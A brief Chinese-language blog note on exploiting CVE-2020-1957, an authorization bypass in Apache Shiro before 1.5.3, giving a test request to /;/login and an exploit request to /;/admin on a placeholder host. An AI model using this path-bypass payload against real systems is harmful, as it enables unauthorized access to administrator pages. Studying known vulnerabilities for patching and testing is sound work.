【笔记】CVE-2020-1957漏洞利用

发表于 更新于 阅读次数：

前言

Java的Shiro框架未授权访问漏洞利用

漏洞利用前提

  • Apache Shiro < 1.5.3

poc

  • 如果能正常访问/login，则可以通过/;/login测试是否依然可以显示
  • 如果可以正常显示，说明存在漏洞；如果显示报错页面，说明不存在漏洞
request
1
GET http://example.com/;/login

漏洞利用

  • 通过/;/admin绕过Shiro直接进入管理员页面
request
1
GET http://example.com/;/admin

完成